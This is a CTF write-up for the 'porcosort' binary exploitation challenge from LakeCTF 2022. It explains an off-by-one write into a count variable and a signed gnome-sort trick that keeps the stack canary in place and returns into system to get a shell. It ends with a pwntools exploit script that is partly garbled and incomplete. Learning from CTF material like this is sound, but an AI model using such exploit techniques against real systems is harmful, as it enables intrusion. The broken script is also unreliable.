LakeCTF 2022 Qualifier - porcosort (pwn)

lakectf 2022

0. Intro

0.1. Description (Inspired by modernizing a challenge)

nc 3900

0.2. Overview

The writeup is split into 3 logical sections, which outline the process I usually follow when solving binary exploitation challenges:

  1. Setup
  2. Vulnerability Discovery
  3. Exploitation

For the final exploit scroll to the bottom of the page.

1. Setup

All the exploitation was done in my Docker based exploitation environment, pwnenv.

Looking at the provided files, we can see the binary and luckily a Dockerfile!

FROM AS builder

RUN useradd -u 1000 jail

When I’m provided with a Dockerfile in a binary exploitation challenge, the first thing I do is get a shell in the image to copy over all the shared libraries linked with the binary to be able to replicate the setup in my local environment.

docker run -it --rm -v `pwd`:/data archlinux@sha256:2bfe247c46221b0770325d69ec195b50455b2865588665e6926b2d1168982e67 bash

After getting the libraries, by using the patchelf utility I patched the binary to link to the libraries I got from the docker environment and ignore the ones on my machine.

For libc its is important for the name of the file to match the one shown in ldd in my case

patchelf --set-rpath . --set-interpreter porcosort
 ➜ ldd ./porcosort (0x00007ffd7d379000) => ./ (0x00007efcbea06000) => /usr/lib64/ (0x00007efcbec1d000)

This kind of setup is generally extremely important to avoid losing time later on when the exploit will be working locally, but not remotely. It is also especially important for this challenge as it uses the libc from Arch Linux which is quite uncommon in binary exploitation challenges which typically use the libraries from Ubuntu.

2. Vulnerability Discovery / Decompilation

Following the setup, the next step was to open up the binary in Ghidra to examine the assembly and decompilation. This was pretty straight forward, as the binary was not stripped.

void vuln(ulong param_1) {
  ulong buf [0x30];
  ulong count;
  long canary;
  for (i = 0; i < 0x30; i = i + 1) {
    buf[i] = stdout;
  randnum = rdrand();
  printf("Have a gift: %p\n",buf[(param_1 ^ randnum) % 0x30]);
  printf("How many numbers to sort? ");
  if (count > 0x30) { exit(1); }

All it did was leak the address of stdout (will be useful later), ask for some numbers and sort them.

The vulnerability can be seen when going into the read_numbers function. The for-loop goes through the array backwards, but starts indexing the array from its size (count) instead of the last element (count - 1).

void read_numbers(long *buf,long count) {
  long i;
  for (i = count; 0 < i; i = i + -1) {
    printf("> ");
    buf[i] = 0x2a;
    __isoc99_scanf("%lld",buf + i);

This effectively means that the programs reads our first input into the 8 bytes (long) that come after the buffer. Looking at what comes after the buffer (from the decompilation at the top of this section, as the address of the buffer is passed and not the values), the variable that gets overwritten is count which indicates the size of the array.

  ulong buf [0x30];
  ulong count;
  long canary;

This can be used to make the sorting function (get_gnomed) think that the array it’s sorting is any size we want!

Now looking at the sorting function we can see that it sorts the numbers with signed comparison, allowing us to have negative numbers and making the challenge possible within a reasonable amount of time.

undefined8 get_gnomed(ulong *buf,long count) {
  ulong *current;
  current = buf;
  while (current < buf + count) {
    if ((current == buf) || ((long)current[-1] <= (long)*current)) {
      current = current + 1;
    else {
      *current = *current ^ current[-1];
      current[-1] = *current ^ current[-1];
      *current = *current ^ current[-1];
      current = current + -1;
  return 0;

3. Exploitation

3.1. Overview

Now after examining the binary in Ghidra the goal is apparent:

  1. Put the maximum number in the items to sort to trigger the out-of-bounds write.
  2. Overwrite the count variables to something larger to at least cover the return pointer.
  3. With a combination of the rest of the numbers and the “bitcoin address” mentioned at the start, craft a payload which, after being sorted in ascending order (signed):
    • Keeps the stack canary at the same address.
    • Overwrites the return pointer and potentially addresses after that to get a shell.

The exploit for this challenge is inherently unreliable, as it relies on the stack canary being small enough to be less than the actual return address of the function (signed comparison), to stay in the correct place.

3.2. Failed Approaches

  1. Initially I did not notice that the sorting algorithm was done on signed integers and spend a good amount of time wondering how I was going to put the stack canary, a basically random 64bit integer to be smaller than the binary base address.
    • When encountering such seemingly impossible problems, the first thing to do is go back and re-examine decompilation, looking specifically for things that could help resolve this issue, which in this case was a signed comparison.
  2. My first approach to popping a shell was trying to see if any of the one_gadgets would work. Unfortunately, none of the 4 gadgets worked.

3.3. The Stack

From what we can see on the stack $rdi points to 0x7fffffffc630 which is where the smallest signed integer in the array will end up. Because of this, we can use the system function with almost any arbitrary argument!

Also, from looking at the stack we can conclude that because the system function is in libc, which mapped to a higher value than the original return address of the function, all the gadgets used need to be in higher addresses compared to the binary. Not just that! The gadgets also need to be below the address of _IO_2_1_stdout_ because that would mess up the exploit if caught in the middle.

pwndbg> stack 70
00:0000│ rsp 0x7fffffffc630 ◂— 0x0
01:0008│     0x7fffffffc638 ◂— 0x84d0a366536977d8
02:0010│     0x7fffffffc640 ◂— 0x1
03:0018│     0x7fffffffc648 ◂— 0x3003ae75f6
04:0020│ rdi 0x7fffffffc650 ◂— 0x8000000000006873 /* 'sh' */
... ↓        47 skipped
34:01a0│     0x7fffffffc7d0 ◂— 0xb0b00e7dd5d48391
35:01a8│     0x7fffffffc7d8 ◂— 0xb955a10784240400  -> Stack Canary
36:01b0│     0x7fffffffc7e0 ◂— 0x0
37:01b8│     0x7fffffffc7e8 ◂— 0x39 /* '9' */
38:01c0│ rbp 0x7fffffffc7f0 —▸ 0x55555555549e ◂— lea    rax, [rip + 0xbeb]
39:01c8│     0x7fffffffc7f8 —▸ 0x7ffff7dda1d6 ◂— ret -> Return Address
3a:01d0│     0x7fffffffc800 —▸ 0x7ffff7dfca40 (system) ◂— endbr64
3b:01d8│     0x7fffffffc808 —▸ 0x7ffff7fb06c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
3c:01e0│     0x7fffffffc810 —▸ 0x7fffffffc850 ◂— 0x1
3d:01e8│     0x7fffffffc818 ◂— 0x0
... ↓        3 skipped
41:0208│     0x7fffffffc838 ◂— 0xb955a10784240400
42:0210│     0x7fffffffc840 ◂— 0x10
43:0218│     0x7fffffffc848 —▸ 0x7fffffffc968 —▸ 0x7fffffffce6f ◂— '/root/data/porcosort'
44:0220│     0x7fffffffc850 ◂— 0x1
45:0228│     0x7fffffffc858 —▸ 0x7ffff7dda290 ◂— mov    edi, eax

The other limitation with the exploit was that the string passed into system had to have a signed long value representation that was less than the return address and also less than 0, because of the values at stack offset 36 and 37. It also had to be small enough so that the chances of the stack canary being smaller than it where minimal, making the exploit more reliable. For this I chose the smallest argument I could think of at the time that would give me a shell, sh\x00\x00\x00\x00\x00\x80 which in hex is 0x8000000000006873 and when casted into a signed long gives -9223372036854749069 which is only bigger from the minimum value 26,738 of the 64bit signed integer limit.

The last hiccup I encountered was at the end when the return address was not 16bit aligned. This was easily solved by adding a ret gadget that was less than the address of system and greater than the original return address to the payload.

3.4. Full Exploit

from pwn import *
import struct

context.terminal = ['tmux', 'splitw', '-v', '-p70']
context.arch = 'amd64'

binary = './porcosort'
elf = ELF(binary)
libc = ELF('./')

ssh_en = False
if args.R:
    host = ''
    port = 3900

def start():
    if args.R:
        return remote(host, port)
        gs = '''
        br *0x555555555432
        br *0x555555555447
        if args.GDB: return gdb.debug(elf.path, gs)
        else: return process(elf.path)

def one_gadget(filename, base_addr=0):
  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]

def log_addr(name, addr):'{}: 0x{:x}'.format(name, addr))

io = start()

sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))

cmd = b"sh\x00".ljust(7, b'\x00') + b'\x80'
sa(b'here.\n', cmd * 3) # bitcoin address

# Get libc base address leak
stdout = int(rl().split()[-1], 16)
libc.address = stdout - libc.symbols['_IO_2_1_stdout_']

log_addr("stdout leak", stdout)
log_addr("libc base", libc.address)

sla(b'?', b'48')

NEW_COUNT = 48 + 9

ret = libc.address + 0x291d6
system = libc.address + 0x4ba40

payload = [

# Send the payload defined above
for n in payload:
    sla(b'> ', str(n).encode())

# have the rest of the "unused" numbers be the command
cmd_num = struct.unpack('<q', cmd)[0]
for i in range(48 - len(payload)):
    sla(b'> ', str(cmd_num).encode())